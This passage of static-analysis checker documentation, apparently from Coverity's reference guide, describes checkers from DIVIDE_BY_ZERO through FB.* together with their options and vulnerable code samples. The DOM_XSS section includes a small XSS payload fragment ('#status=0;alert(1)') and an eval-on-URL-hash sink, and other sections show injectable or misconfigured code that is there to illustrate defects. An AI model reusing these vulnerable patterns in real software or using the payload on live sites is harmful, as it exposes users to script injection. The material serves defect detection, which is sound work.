- `DISTRUSTED_DATA_DESERIALIZATION:trust_http:<boolean>` - Setting this option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `DISTRUSTED_DATA_DESERIALIZATION:trust_http:false` . Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `DISTRUSTED_DATA_DESERIALIZATION:trust_http_header:<boolean>` - Setting this option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `DISTRUSTED_DATA_DESERIALIZATION:trust_http_header:true` . Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.
- `DISTRUSTED_DATA_DESERIALIZATION:trust_network:<boolean>` - Setting this option to false causes the analysis to treat data from the network as tainted. Defaults to `DISTRUSTED_DATA_DESERIALIZATION:trust_network:false` . Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `DISTRUSTED_DATA_DESERIALIZATION:trust_rpc:<boolean>` - Setting this option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `DISTRUSTED_DATA_DESERIALIZATION:trust_rpc:false` . Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `DISTRUSTED_DATA_DESERIALIZATION:trust_system_properties:<boolean>` - Setting this option to false causes the analysis to treat data from system properties as tainted. Defaults to `DISTRUSTED_DATA_DESERIALIZATION:trust_system_properties:true` . Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

## 4.144. DIVIDE\_BY\_ZERO

Quality Checker

### 4.144.1. Overview

**Supported Languages:** C, C++, C#, Go, Objective-C, Objective-C++, Java, Ruby, VB.NET

The `DIVIDE_BY_ZERO` checker finds instances in which an arithmetic division or modulus occurs when the divisor is zero. The result of such an operation is undefined but typically results in program termination. A defect is only reported if the evidence shows that a divisor can be exactly zero along a particular path.

**Enabled by default:** `DIVIDE_BY_ZERO` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.144.2. Examples

This section provides one or more `DIVIDE_BY_ZERO` examples.

#### 4.144.2.1. C/C++

In the following example, the checker reports a defect because variable `x` is zero if `cond()` is false:

```
int foo() {
 int x = 0;
 if (cond()) {
 x = 1;
 }
 return 1 / x;
}
```

In the following example, if `y` is negative, `foo(y)` will return zero, and zero will be used as a divisor in `bar(y)`. Therefore, the checker reports a defect.

```
int foo(int y) {
 if (y < 0) {
 return 0;
 }
 return y;
}

void bar(int y) {
 int z = 1 / foo(y);
}
```

#### 4.144.2.2. C# and Java

In the following example, the checker reports a division by zero because variable `a` might be zero; the code explicitly tests whether `a` is zero.

```
class Example {
 void testDiv(int a, int b)
 {
 if (a!=0) {
 //Do something
 }
 int y = b / a;
 }
}
```

#### 4.144.2.3. Go

In the following example, the return statement will result in a `DIVIDE_BY_ZERO` issue.

```
func testDiv0(cond bool) int {
 x := 0
 if cond {
 x = 1
 }
 return 100 / x
}
```

#### 4.144.2.4. Ruby

```
def invert
 x = 0

 if some_condition?
 x = 1
 end

 1 / x
end
```

#### 4.144.2.5. VB.NET

In the following example, a `DIVIDE_BY_ZERO` defect is shown for each assignment statement.

```
Public Class DivideByZero
 Public Sub testDiv(ByVal a As Integer, ByVal b As Integer)
 If a <> 0 Then
 End If
 Dim z As Integer = b / a
 End Sub

 Public Sub testMod(ByVal a As Integer, ByVal b As Integer)
 If a <> 0 Then
 End If
 Dim z As Integer = b Mod a
 End Sub
End Class
```

### 4.144.3. Options

This section describes one or more `DIVIDE_BY_ZERO` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `DIVIDE_BY_ZERO:require_exact_zero:<boolean>` - When this option is set to `true`, the checker will report a `DIVIDE_BY_ZERO` defect only when the denominator is known to be exactly zero on the path being analyzed. Defaults to `DIVIDE_BY_ZERO:require_exact_zero:true`.

### 4.144.4. Events

This section describes one or more events produced by the `DIVIDE_BY_ZERO` checker.

- `divide_by_zero` : Arithmetic division or modulus is performed when the divisor is zero.

## 4.145. DNS\_PREFETCHING

### 4.145.1. Overview

**Supported Languages:** JavaScript, TypeScript

The `DNS_PREFETCHING` checker finds situations where DNS prefetching is enabled by setting the `allow` property explicitly to `true` in the `dnsPrefetchControl()` function of the `helmet` middleware or in the configuration of the `dns-prefetch-control` middleware. If the property `allow` is set to `true`, the DNS prefetching is enabled, which might leak sensitive information to an attacker on the same network by disclosing information about other resources used on the page. By default, the property `allow` is set to `false` to disable DNS prefetch.

The `DNS_PREFETCHING` checker is disabled by default. To enable it, use the `--enable-audit-mode` option of the `cov-analyze` command.

### 4.145.2. Examples

This section provides one or more `DNS_PREFETCHING` examples.

In the following example, a `DNS_PREFETCHING` defect is displayed for the property `allow` set to `true` in the `dnsPrefetchControl()` function.

```
var express = require('express');
var helmet = require('helmet');
var app = express();

var opt1 = { allow: true }; //defect#DNS_PREFETCHING
app.use(helmet.dnsPrefetchControl(opt1));
```

## 4.146. DOM\_XSS

Security Checker

### 4.146.1. Overview

**Supported Languages:** JavaScript, TypeScript

DOM\_XSS reports a defect on code that is vulnerable to a DOM-based XSS attack. In other words, it finds cases where an attacker can cause a victim's Web browser to execute JavaScript code of the attacker's choice or otherwise make the victim's Web browser behave in an unexpected and unintended way. In particular, this checker reports cases where data that is potentially under the control of an attacker ("tainted" data) is used in an unsafe way in client-side JavaScript, for example, passed to `eval` or written to an `innerHTML` field in the DOM.

The consequences of such a vulnerability are similar to those of other kinds of cross-site scripting vulnerabilities. For example, a DOM-based XSS vulnerability can impact the confidentiality of a user's authenticated session, including whatever information and access that session confers. For more information, see Section 6.1.4.2, "Cross-site Scripting (XSS)".

**Disabled by default:** DOM\_XSS is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable DOM\_XSS along with other Web application checkers, use the `--webapp-security` option.

The DOM\_XSS checker requires additional memory. See [Minimum requirements](#) in *Coverity Installation and Deployment Guide* for details on the requirement.

This is a tainted data checker. For more information, see Section 6.8, "Tainted Data Overview".

### 4.146.2. Defect Anatomy

A DOM\_XSS defect shows a data flow path by which untrusted (tainted) data makes its way into a function or DOM element such that the user's Web browser might execute it as JavaScript code. The path starts at a source of untrusted data, such as a reading a property of the URL that an attacker might control (such as, `window.location.hash`) or data from a different frame. From there the events in the defect show how this tainted data flows through the program, for example from the argument of a function call to the parameter of the called function. The final part of the path shows the data flowing into the vulnerable function or DOM element property.

### 4.146.3. Examples

This section provides one or more DOM\_XSS examples.

```
function extract(string, key) {
 // ... returns a substring of "string" according to "key"
```

```

}

// to exploit: append the following fragment to the base URL
// #status=0;alert(1)
function getStatus() {
 var status = {};
 // 'location.hash' is tainted, so 'fromFragment' is too
 var fromFragment= extract(decodeURI(location.hash), "status");
 console.log(fromFragment);
 try {
 // 'eval' on a tainted string is vulnerable to DOM_XSS
 eval("status = " + fromFragment);
 } catch (exn) {
 // ignore
 }
 return status;
}

```

```

// '$' is the jQuery object
// to exploit, append the following to the base URL
// ?">
function jq() {
 var elem = $("#my-dom-element");
 var link = '#do_a_thing?page=' + decodeURI(location.href);
 console.log(link);
 var html = 'do the thing';
 console.log(html);
 elem.html(html);
}

```

#### 4.146.4. Options

This section describes one or more `DOM_XSS` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `DOM_XSS:distrust_all:<boolean>` - Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `DOM_XSS:distrust_all:false`.

This checker option is automatically set to true if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `DOM_XSS:trust_js_client_cookie:<boolean>` - When this option is set to false, the analysis does not trust data from cookies in client-side JavaScript code, for example from `document.cookie`. This option was formerly called `trust_client_cookie`. Defaults to `DOM_XSS:trust_js_client_cookie:true`.
- `DOM_XSS:trust_js_client_external:<boolean>` - When this option is set to false, the analysis does not trust data from the response to an `XMLHttpRequest` or similar in client-

side JavaScript code. Note: this option was formerly called `trust_external`. Defaults to `DOM_XSS:trust_js_client_external:false`.

- `DOM_XSS:trust_js_client_html_element:<boolean>` - When this option is set to false, the analysis does not trust data from user input on HTML elements such as `textarea` and `input` elements in client-side JavaScript code. Defaults to `DOM_XSS:trust_js_client_html_element:true`.
- `DOM_XSS:trust_js_client_http_header:<boolean>` - When this option is set to false, the analysis does not trust data from HTTP response headers on the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Defaults to `DOM_XSS:trust_js_client_http_header:true`.
- `DOM_XSS:trust_js_client_http_referer:<boolean>` - When this option is set to false, the analysis does not trust data from the 'referer' HTTP header (from `document.referrer`) in client-side JavaScript code. Defaults to `DOM_XSS:trust_js_client_http_referer:false`.
- `DOM_XSS:trust_js_client_other_origin:<boolean>` - When this option is set to false, the analysis does not trust data from content in another frame or from another origin, for instance from `window.name`, in client-side JavaScript code. Defaults to `DOM_XSS:trust_js_client_other_origin:false`.
- `DOM_XSS:trust_js_client_url_query_or_fragment:<boolean>` - When this option is set to false, the analysis does not trust data from the query or fragment part of the URL, for instance from `location.hash` or `location.query`, in client-side JavaScript code. Defaults to `DOM_XSS:trust_js_client_url_query_or_fragment:false`.
- `DOM_XSS:trust_mobile_other_app:<boolean>` - Setting this option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `DOM_XSS:trust_mobile_other_app:false`. Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options.
- `DOM_XSS:trust_mobile_other_privileged_app:<boolean>` - Setting this option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `DOM_XSS:trust_mobile_other_privileged_app:true`. Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options.
- `DOM_XSS:trust_mobile_same_app:<boolean>` - Setting this option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `DOM_XSS:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options.
- `DOM_XSS:trust_mobile_user_input:<boolean>` - Setting this option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `DOM_XSS:trust_mobile_user_input:false`. Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options.

## 4.147. DYNAMIC\_OBJECT\_ATTRIBUTES

Security Checker

### 4.147.1. Overview

**Supported Languages:** Ruby

`DYNAMIC_OBJECT_ATTRIBUTES` finds vulnerabilities that occur when a resource is updated with attribute names and values using uncontrolled dynamic data (CWE-915). This vulnerability might allow an attacker to update unintended fields in the resource. For example, an `admin` field might be set to `true` on a user object.

**Enabled by default:** `DYNAMIC_OBJECT_ATTRIBUTES` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.147.2. Defect Anatomy

A `DYNAMIC_OBJECT_ATTRIBUTES` defect will be reported when a resource appears to use or permit use of user-controlled data to specify attribute names and values.

The methods used by the Ruby on Rails framework to prevent this vulnerability have evolved several times. This checker will report vulnerable models, vulnerable uses of model update methods, and deliberate bypassing of attribute allow-listing.

### 4.147.3. Examples

This section provides one or more `DYNAMIC_OBJECT_ATTRIBUTES` examples.

The following Ruby on Rails code demonstrates updating attributes on an example record without specifying which attributes are allowed.

```
class ExampleController < ApplicationController
 def update
 Example.find(params[:id]).update_attributes(params.permit!)
 end
end
```

## 4.148. DYNAMIC\_TYPE\_IN\_CTOR\_DTOR

Quality Checker

### 4.148.1. Overview

**Supported Languages:** C++

During construction and destruction of an object, the object's final type might be different from that of the completely constructed object. The result of using an object's dynamic type in a constructor or destructor

might not be consistent with developer expectations. The `DYNAMIC_TYPE_IN_CTOR_DTOR` checker reports when `dynamic_cast` is used on `this` pointer in a constructor or destructor.

**Enabled by default:** `DYNAMIC_TYPE_IN_CTOR_DTOR` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.148.2. Examples

This section provides one or more `DYNAMIC_TYPE_IN_CTOR_DTOR` examples.

In the following code the destructor of class `B2` is virtual, which makes class `B2` polymorphic. Class `C` derives from class `B2`, so class `C` is also polymorphic.

A `DYNAMIC_TYPE_IN_CTOR_DTOR` defect is reported at each `dynamic_cast` line.

```
class B2
{
public:
 virtual ~B2 () {
 dynamic_cast< B2* > (this);
 }
 B2 ()
 {
 dynamic_cast< B2* > (this);
 }
};

class C : public B2
{
public:
 C () {
 dynamic_cast< C* > (this);
 }
 ~C ()
 {
 dynamic_cast< C* > (this);
 }
};
```

In the following code class `B1` does not declare or inherit a virtual function, so class `B1` is not polymorphic.

There is no dynamic type for class `B1`, so the checker does not report any defect.

```
class B1
{
public:
 B1 ()
 {
```

```
 dynamic_cast< B1* > (this);
}
~B1 ()
{
 dynamic_cast< B1* > (this);
}
};
```

### 4.148.3. Events

This section describes one or more events produced by the `DYNAMIC_TYPE_IN_CTOR_DTOR` checker.

The `DYNAMIC_TYPE_IN_CTOR_DTOR` checker reports a single event: `dynamic_type_used_in_ctor_dtor`, which is also the main event.

## 4.149. EL\_INJECTION

Security Checker

### 4.149.1. Overview

**Supported Languages:** Java

`EL_INJECTION` finds Expression Language (EL) injection vulnerabilities, which arise when uncontrolled dynamic data is passed into an EL resolver. This might allow an attacker to bypass security checks or execute arbitrary code.

**Disabled by default:** `EL_INJECTION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `EL_INJECTION` along with other Web application checkers, use the `--webapp-security` option.

### 4.149.2. Examples

This section provides one or more `EL_INJECTION` examples.

In the following example, the `expression` parameter is treated as though it is tainted. It is passed to `ExpressionFactory.createValueExpression`, which is treated as a sink for this checker.

```
public static void setValue(Map<String, Object> context,
 String expression, Class expectedType, Object value) {
 ExpressionFactory exprFactory = getExpressionFactory();
 ELContext elContext = new BasicContext(context);
 ValueExpression ve = exprFactory.createValueExpression(elContext, expression,
 expectedType);
 ve.setValue(elContext, value);
}
```

An attacker can potentially execute arbitrary code by substituting a valid EL expression.

### 4.149.3. Events

This section describes one or more events produced by the `EL_INJECTION` checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.
- `remediation` - Provides information about addressing the security vulnerability.

#### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

## 4.150. ENUM\_AS\_BOOLEAN

Quality Checker

### 4.150.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

ENUM\_AS\_BOOLEAN finds places where an enum-typed expression is inadvertently used in a Boolean context (such as a predicate), but the enumeration has more than two possible values. Usually, that is not what the programmer intended.

**Disabled by default:** ENUM\_AS\_BOOLEAN is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

### 4.150.2. Examples

This section provides one or more ENUM\_AS\_BOOLEAN examples.

```
enum color {red, green, blue};
...
color c;
...
if (c) /* Why are green and blue distinguished from red? */
```

It is common for an enum-typed expression to occur legitimately in a Boolean context. For example, the checker does not identify a defect in the following code sample:

```
/* in C */
enum boolean {false, true};
...
enum boolean b;
...
if (b) /* An enum-typed expression is okay in this context. */
...
```

### 4.150.3. Events

This section describes one or more events produced by the ENUM\_AS\_BOOLEAN checker.

- `enum_as_boolean` - An enum-typed expression is used in a Boolean context.

## 4.151. EVALUATION\_ORDER

Quality Checker

### 4.151.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

EVALUATION\_ORDER identifies places in the code where the C/C++ language rules for expression evaluation do not determine the order in which side effects happen. Consequently, the behavior of the program potentially depends on the compiler, compiler version and optimization settings. Note that the name of the checker is misleading, since it finds side effect order problems as well as evaluation order problems.

If a single memory location is written more than once, or both read and written, without an intervening sequence point, then the program behavior is undefined. In practice, implementations may behave

differently depending on compiler, compiler version, and optimization settings. This occurs even though the rules of precedence and associativity unambiguously define the syntactic expression structure.

In the following example, the value of `b` after the assignment is `3` if the left side of the operator is evaluated first, or `4` if the right side of the operator is evaluated first:

```
a = 1;
b = a + (a=2);
```

`EVALUATION_ORDER` looks for the following sequence points after each statement:

- comma ( , )
- logical AND ( && )
- logical OR ( || )
- conditional ( ?: )

**Enabled by default:** `EVALUATION_ORDER` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

#### 4.151.2. Examples

This section provides one or more `EVALUATION_ORDER` examples.

In the following example, it is unclear whether the left or right side of the operator is evaluated first, so the value of `x` might change:

```
int g(int x) {
 return x + x++; // EVALUATION_ORDER defect
}
```

The following example demonstrates side effect ordering problems. The right hand side of the assignment is evaluated before the assignment itself takes place. However, the side effect order is unspecified because the side effect associated with `++` could happen before or after the side effect associated with the assignment.

```
int foo() {
 int x = 0;
 x = x++; // EVALUATION_ORDER defect
 return x; // returns either 0 or 1
}
```

Different compilers will return different values. For example:

Microsoft Visual C++ 2008 for 80x86 on Windows XP, 32-bit returns 1.

Mingw gcc 3.4.4 on Windows XP, 32-bit returns 0.

gcc 4.1.2 on RHEL 5.2 Linux, 64-bit returns 1.

### 4.151.3. Events

This section describes one or more events produced by the `EVALUATION_ORDER` checker.

- `write_write_order` - Undefined order for multiple writes.

### 4.151.4. Options

This section describes one or more `EVALUATION_ORDER` options.

You can set specific checker option values by passing them with `--checker-option` to the **coverity-analyze** command. For details, refer to the *Coverity Command Reference*.

- `EVALUATION_ORDER:report_volatile:` - When this option is `true`, the checker reports unsafe uses of `volatile`. Every `volatile` access is technically a side effect, so the expression "`x + y`" is undefined if both "`x`" and "`y`" are `volatile`. Defaults to `EVALUATION_ORDER:report_volatile:false`.

In the following example, a defect is reported for an attempt to calculate using `volatile` integers, but is not reported when the integers are not `volatile`:

```
volatile int x;
volatile int v1, v2;
void foo() {
 int y;
 y = 2*x + x; // EVALUATION_ORDER defect
 y = v1 + v2; // EVALUATION_ORDER defect
}

int xx;
int vv1, vv2;
void foofoo() {
 int yy;
 yy = 2*xx + xx; // no defect
 yy = vv1 + vv2; // no defect
}
```

## 4.152. EXPLICIT\_THIS\_EXPECTED

Quality Checker

### 4.152.1. Overview

**Supported Languages:** JavaScript, TypeScript

`EXPLICIT_THIS_EXPECTED` detects function calls having an implicit `this` argument when the callee references the `this` value explicitly, which suggests that an explicit `this` argument is expected. In such cases, an implicit `this` argument might be interpreted differently depending on the context and/or

environment; the `this` value could default to `undefined` within code using strict mode, the `window` object in a browser context, or the `global` object in a Node.js environment.

**Enabled by default:** `EXPLICIT_THIS_EXPECTED` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

#### Note

When using Buildless Capture with JavaScript projects, in some cases, analysis might yield a large number of false positives for the `EXPLICIT_THIS_EXPECTED` checker. In such cases, we recommend disabling this checker using the `--disable EXPLICIT_THIS_EXPECTED` option for the `cov-analyze` command.

### 4.152.2. Examples

This section provides one or more `EXPLICIT_THIS_EXPECTED` examples.

In JavaScript, the `this` keyword refers to the context at a function's call-site within a call-stack, not to the lexical scope in source code. `EXPLICIT_THIS_EXPECTED` detects situations in which a function with an unspecified (default or implicit) context calls another function that uses the `this` keyword.

In the following example, the call to `computeValue()` in the `obj.showValue()` method relies on implicit binding when explicit binding is expected:

```
function example1() {
 var obj = { value: 1 };

 function computeValue() { return compute(this.value); }

 obj.computeValue = computeValue;

 obj.showValue = function() {
 console.log("Computed value: "
 + computeValue()); // EXPLICIT_THIS_EXPECTED here!
 // Should be `this.computeValue()`
 };

 obj.showValue();
}
```

Likewise, in this example, the call to `f()` is missing explicit binding:

```
function example2() {
 var obj = {
 value: 2,
 method_with_a_really_long_name: function(x) { do_something(this.value, x) }
 };

 // f is intended as a macro to shorten the code following it
 var f = obj.method_with_a_really_long_name;
}
```

```
// But, f(0) is not the same as obj.method_with_a_really_long_name(0)
console.log("The result is : " + f(0)); // EXPLICIT_THIS_EXPECTED here
console.log("The result is : " + f.call(obj, 0)); // This works; explicit
binding with `call()` method
}
```

### 4.152.3. Events

This section describes one or more events produced by the `EXPLICIT_THIS_EXPECTED` checker.

#### At the call site:

- `implicit_this_used` - Call to function `<function>` with implicit `this` argument when explicit `this` is expected.

#### At the explicit `this` use in the callee:

- `explicit_this_parameter` - Explicit use of `this`.

## 4.153. EXPOSED\_DIRECTORY\_LISTING\_HAPI\_INERT

Security Checker

### 4.153.1. Overview

**Supported Languages:** JavaScript, TypeScript

`EXPOSED_DIRECTORY_LISTING_HAPI_INERT` finds cases where a Hapi application uses the `inert` plugin that provides a directory handler to assist in setting and restricting file paths. When the handler's optional property `listing` is set to true, the directory listing of the specified path is returned to the user. This can result in the unintended disclosure of file names and directory structure; this is information that might be useful to an attacker.

**Disabled by default:** `EXPOSED_DIRECTORY_LISTING_HAPI_INERT` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `EXPOSED_DIRECTORY_LISTING_HAPI_INERT` along with other Web application checkers, use the `--webapp-security` option.

### 4.153.2. Examples

This section provides one or more `EXPOSED_DIRECTORY_LISTING_HAPI_INERT` examples.

The following code sample instantiates a Hapi server and registers the `inert` plugin. An `EXPOSED_DIRECTORY_LISTING_HAPI_INERT` defect is displayed when the directory handler is configured with the `listing` property set to `true`:

```
const Hapi = require('hapi');
```

```
const Inert = require('inert');

const server = new Hapi.Server();
server.connection({ port: 3000 });

server.register(Inert, () => {});

server.route({
 method: 'GET',
 path: '/{param*}',
 handler: {
 directory: {
 path: '.',
 redirectToSlash: true,
 index: true,
 listing: true // EXPOSED_DIRECTORY_LISTING_HAPI_INERT defect
 }
 }
});
```

## 4.154. EXPOSED\_PREFERENCES

Security Checker

### 4.154.1. Overview

**Supported Languages:** Java, Kotlin

EXPOSED\_PREFERENCES finds instances of calls to `android.content.Context.getSharedPreferences` and `android.app.Activity.getPreferences` that do not use the `MODE_PRIVATE` mode. Using a mode other than `MODE_PRIVATE` may create a `SharedPreferences` object that is accessible to other applications. Malicious applications could read from or write to this `SharedPreferences` object.

- **Java enablement**

**Disabled by default:** EXPOSED\_PREFERENCES is disabled by default.

**Android security checker enablement:** To enable EXPOSED\_PREFERENCES along with other Java Android security checkers, use the `--android-security` option with the **cov-analyze** command.

- **Kotlin enablement**

EXPOSED\_PREFERENCES is enabled by default.

### 4.154.2. Defect Anatomy

An EXPOSED\_PREFERENCES defect shows a call to `android.content.Context.getSharedPreferences` or `android.app.Activity.getPreferences` that uses a mode other than `MODE_PRIVATE`.

### 4.154.3. Examples

This section provides one or more `EXPOSED_PREFERENCES` examples.

#### 4.154.3.1. Java

In the code sample below, because the contents of the `userdetails` preference file is retrieved using the `MODE_WORLD_WRITEABLE` mode, other applications have `write` access to this file. A malicious application could write data to this file.

Because the contents of the activity's preference file is retrieved using the `MODE_WORLD_READABLE` mode, other applications have `read` access to this file. A malicious application could read data from this file.

```
public class SampleActivity extends Activity {

 @Override
 public void onCreate(Bundle savedInstanceState) {
 super.onCreate(savedInstanceState);

 // defect: EXPOSED_PREFERENCES
 SharedPreferences userDetails = getSharedPreferences("userdetails",
MODE_WORLD_WRITEABLE);

 // defect: EXPOSED_PREFERENCES
 SharedPreferences preferences = getPreferences(MODE_WORLD_READABLE);

 // ...
 }

 // ...
}
```

#### 4.154.3.2. Kotlin

In the code sample below, because the contents of the `userdetails` preference file is retrieved using the `MODE_WORLD_WRITEABLE` mode, other applications have `write` access to this file. A malicious application could write data to this file.

Because the contents of the activity's preference file is retrieved using the `MODE_WORLD_READABLE` mode, other applications have `read` access to this file. A malicious application could read data from this file.

```
class SampleActivity : Activity() {

 override fun onCreate(savedInstanceState: Bundle?) {
 super.onCreate(savedInstanceState)
 }
}
```

```
val userDetails = getSharedPreferences("userdetails", MODE_WORLD_WRITEABLE)
val preferences = getPreferences(MODE_WORLD_READABLE)

 // ...
}
// ...
}
```

## 4.155. EXPRESS\_SESSION\_UNSAFE\_MEMORYSTORE

### 4.155.1. Overview

**Supported Languages:** JavaScript, TypeScript

The `EXPRESS_SESSION_UNSAFE_MEMORYSTORE` checker flags `express-session` instances where the `store` property is set to `(express-session).MemoryStore` in configuration or omitted (defaults to `(express-session).MemoryStore`).

The `EXPRESS_SESSION_UNSAFE_MEMORYSTORE` checker is disabled by default. Enable it with the `webapp-security` option to the `cov-analyze` command.

### 4.155.2. Examples

This section provides one or more `EXPRESS_SESSION_UNSAFE_MEMORYSTORE` examples.

In the example, a `MemoryStore` object is used as the session's `store` option. An `EXPRESS_SESSION_UNSAFE_MEMORYSTORE` defect is displayed for the property `store` set to `MemoryStore` in the configuration of `express-session` instance:

```
 var session = require('express-session');
var express = require('express');
var config = require('config.json');

var app = express();

app.use(session({
 name: 'server-session-cookie-id',
 saveUninitialized: true,
 resave: true,
 store: new session.MemoryStore(), // EXPRESS_SESSION_UNSAFE_MEMORYSTORE defect
 secret: config.secret,
 cookie: {
 secure: true,
 httpOnly: true
 },
}));
```

## 4.156. EXPRESS\_WINSTON\_SENSITIVE\_LOGGING

### 4.156.1. Overview

**Supported Languages:** JavaScript, TypeScript

The `EXPRESS_WINSTON_SENSITIVE_LOGGING` checker finds several cases where sensitive data is automatically logged by the middleware component of `express-winston`. A defect is returned in the following circumstances:

- The application uses `express-winston` and the error logger uses an insecure `requestWhitelist`:
  - Using default `requestWhitelist`. By default, the `requestWhitelist` includes the request headers.
  - The property `requestWhitelist` contains the request body or headers attributes.
- The application uses `express-winston` and the request logger uses an insecure allow list or deny list:
  - Using default `requestWhitelist`. By default, the `requestWhitelist` includes the request headers.
  - The property `requestWhitelist` contains the request body or headers attributes.
  - The property `responseWhitelist` contains the headers or body attributes.
  - The property `bodyBlacklist` is defined. The `bodyBlacklist` will automatically allow all attributes that are not on the deny list, which is insecure.
  - The property `bodyWhitelist` contains sensitive parameters.
- The application uses `express-winston` and logs sensitive meta data:
  - The error logger enables the `meta` option and the `dynamicMeta` function returns an object containing sensitive data.
  - The request logger enables the `meta` option and the `dynamicMeta` function returns an object containing sensitive data.

The `EXPRESS_WINSTON_SENSITIVE_LOGGING` checker is disabled by default; it is only enabled in Audit Mode

### 4.156.2. Examples

This section provides one or more `EXPRESS_WINSTON_SENSITIVE_LOGGING` examples.

In the following example, an `EXPRESS_WINSTON_SENSITIVE_LOGGING` defect is displayed for the property `requestWhitelist` including the `body` attribute.

```
var express = require('express');
var winston = require('winston');
var expressWinston = require('express-winston');

var app = express();

app.use(expressWinston.errorLogger({
 transports: [
 new winston.transports.Console({
 json: true,
 colorize: true,
 })
],
 requestWhitelist: ['body']
}));
```

## 4.157. EXPRESS\_X\_POWERED\_BY\_ENABLED

Security Checker

### 4.157.1. Overview

**Supported Languages:** JavaScript, TypeScript

`EXPRESS_X_POWERED_BY_ENABLED` finds cases where an Express application reports `X-Powered-By` header. By default, this header is sent with each response and contains the name of the web server (Express). This information discloses the type of software running on the server, and might help attackers to craft better targeted exploits against your application.

**Disabled by default:** `EXPRESS_X_POWERED_BY_ENABLED` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `EXPRESS_X_POWERED_BY_ENABLED` along with other Web application checkers, use the `--webapp-security` option.

### 4.157.2. Examples

This section provides one or more `EXPRESS_X_POWERED_BY_ENABLED` examples.

In the following example, an `EXPRESS_X_POWERED_BY_ENABLED` defect is displayed for the instantiation of the `app` variable:

```
var express = require('express');
var app = express(); // EXPRESS_X_POWERED_BY_ENABLED defect

var server = app.listen(3000, function () {
 var port = server.address().port;
 console.log('Your app listening at http://localhost:%s', port);
```

```
});
```

## 4.158. FILE\_UPLOAD\_MISCONFIGURATION

### 4.158.1. Overview

**Supported Languages:** JavaScript, TypeScript

The `FILE_UPLOAD_MISCONFIGURATION` checker finds cases where the `express-fileupload` plugin for an Express application is misconfigured and might allow a denial of service attack.

Misconfigurations can include a number of scenarios. For instance, the number of file and non-file fields in an upload request should be restricted. The file fields are specified by the `files` property, the non-file fields are specified by the `fields` property, and the total number of file and non-file fields in a multipart request can be specified with the `parts` property.

The size of uploaded files should be limited. The maximum size of an uploaded file can be specified by the `fileSize` property.

Using a user-specified path for storing the files with the `preservePath` option set to `true` is also a risk, as is not stripping dangerous characters from user-provided file names.

Using memory buffers rather than temporary files for managing uploads can lead to memory exhaustion issues when uploading large files.

The `FILE_UPLOAD_MISCONFIGURATION` checker is disabled by default. You can enable it using the `--webapp-security` option of the `cov-analyze` command.

### 4.158.2. Examples

This section provides one or more `FILE_UPLOAD_MISCONFIGURATION` examples.

In the following example, a `FILE_UPLOAD_MISCONFIGURATION` defect is displayed twice for the instantiation of the `express-fileupload` plugin, because the passed options do not contain any limits on the number of file or non-file fields, as well as the maximum size of the uploaded file. Note that the defects are reported with the `--webapp-security` flag.

```
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ useTempFiles : true, safeFileNames: true })); //#defects here
```

## 4.159. FB.\* (SpotBugs)

Quality, Security Checkers

### 4.159.1. Overview

**Supported Languages:** Java

